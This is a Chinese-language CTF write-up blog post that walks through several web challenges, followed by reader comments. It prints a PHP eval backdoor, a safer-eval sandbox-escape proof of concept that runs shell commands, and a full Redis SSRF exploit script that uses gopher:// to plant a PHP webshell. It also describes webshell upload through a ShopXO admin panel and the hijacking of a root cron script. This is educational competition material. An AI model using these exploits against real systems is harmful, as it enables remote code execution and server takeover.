Author:颖奇L’Amore

Blog:www.gem-love.com

比赛时间是9-17点,因为今天是开斋节(Eid Mubarak )一直到下午2点才来做题,web难度比较普通,和BJDCTF 3rd比起来要简单一些,不过比较可惜,因为最后那两分钟buuoj炸了导致有一个题的flag没交上去

正好做到最后一个题时候比赛结束的,简单看一下应该是个webinary,不做了


CheckIN

考点:代码审计、disable_function

给了源码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

base64一下即可RCE,通过phpinfo()发现执行系统命令的函数都被ban了,然后环境是php7.3,根目录下有readflag,于是用bypass PHP7.0-7.3 disable_function的PoC打一下即可得到flag:


老八小超市儿

考点:ShopXO弱口令、后台Getshell、提权(?)

打开之后是个shopxo的商城,用默认后台账号密码登录,成功进入后台:

去官网下载一个免费的主题,把一句话木马放进去:

安装主题,即可getshell,然后在/flag告知flag在/root目录下,但是因为当前是www-data用户是没有权限访问/root目录的,考虑需要提权,然而实际上我也没有提权。在根目录下发现了auto.sh:

这个auto.sh每60s运行一下/var/mail下的这个python脚本,然后我们可以发现这个auto.sh是root权限执行的:

既然如此,这个python脚本也是拥有root权限的,测试发现我们居然拥有这个py的写权限,那就简单了,先扫描一下/root目录以得到flag的路径,然后读取即可(通过文件操作吧结果输出到外部文件中),红色部分是扫目录的代码,蓝色是读取flag:

不清楚是不是非预期,或许出题人想要让提权,也或许就是用这个python


CVE版签到

考点:CVE-2020-7066

和昨天BJDxDAS的ezupload的第一步完全一样,通过%00截断可以让get_headers()请求到错误的主机,于是请求到本地然后再根据他的提示吧ip结尾改成123即可得到flag:


EZ三剑客-EzNode

考点:saferEval沙箱逃逸

源码:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

可以看到前面有个Timeout需要绕过,使用Infinity(无穷数)绕过即可,因为Infinity比任何有限数都大(题目的本质是int溢出,无穷数当然可以导致Int溢出)

然后就是saferEval的RCE,虽然它本身是个沙箱来保证eval的安全性,但是可以逃逸,参考:

https://github.com/commenthol/safer-eval/issues/10

这文章里给的PoC为:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

拿过来直接用就好了,穿进去即可RCE:


EZ三剑客-EzWeb

考点:Redis SSRF

印象很深,因为这个题被guoke师傅10几分钟拿了一血,实际上并没有那么丝滑,至少这个知识点我相信不是所有web🐶都熟练掌握的

通过?secret可以得到ip地址

既然给了ip就扫下内网,内网有那么几台不同的机器,有requestsbin/mail服务器什么的,其中一台这样说道:

既然如此,用burp爆破一下端口,于是爆破出了6379端口

6379是redis的端口,不知道也无所谓,看显示的内容也可以发现是redis的报错:

因为输入url这里只限制了file://,没有ban掉gopher://,很容易想到是Redis SSRF getshell,可以参考这篇文章:

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

exp也是从这文章里拿来的:

import urllib
protocol="gopher://"
ip="173.216.189.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

运行exp得到一个gopher://的url,提交即可写入一个webshell,之后就获取flag,不过这里需要绕过一下空格否则会400 Bad Request


EZ三剑客-EzTypecho

考点:Typecho 1.1反序列化

参考链接:

http://www.tomyxy.com/index.php/archives/3.html

题目给了源码,不能直接用现成的exp直接打,不过实际上也差不太多,题目把session_start()都给注释了导致没有session,然后die(),导致不能直接用网上exp一把梭:

但是下面还有反序列化点

生成Payload的exp基本用网上的,然后带上referer头,带上start参数,即可一键RCE

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2361.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

6 条评论

leohearts · 2020年5月25日 08:13

web最后一题是个Electron, 很简单的, asar可以一键解包出js, 可以参考[Electron跨平台程序破解的一般思路](https://www.52pojie.cn/thread-563895-1-1.html)

    颖奇L'Amore · 2020年5月25日 08:40

    看完wp发现确实不难,看到有附件以为是个web+binary就直接没点开看

crownz · 2020年5月26日 21:35

师傅,在typecho最后那里,为什么加上start=1的get传参,就可以绕过那个注释的session_start()呢?

crownz · 2020年5月26日 21:37

师傅,在eztypecho最后那里为什么加上get传的start=1,就可以绕过那个注释掉的session_start()呢?

    颖奇L'Amore · 2020年5月27日 19:36

    不是同一段代码,不是绕sesion_start();加上start是进一个新的if,在那个if里有另一个反序列化位点;代码里有2处反序列化位点,第一处需要session,但是没session所以用不了,用另一个

      crownz · 2020年5月27日 20:12

      懂了,谢谢师傅

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image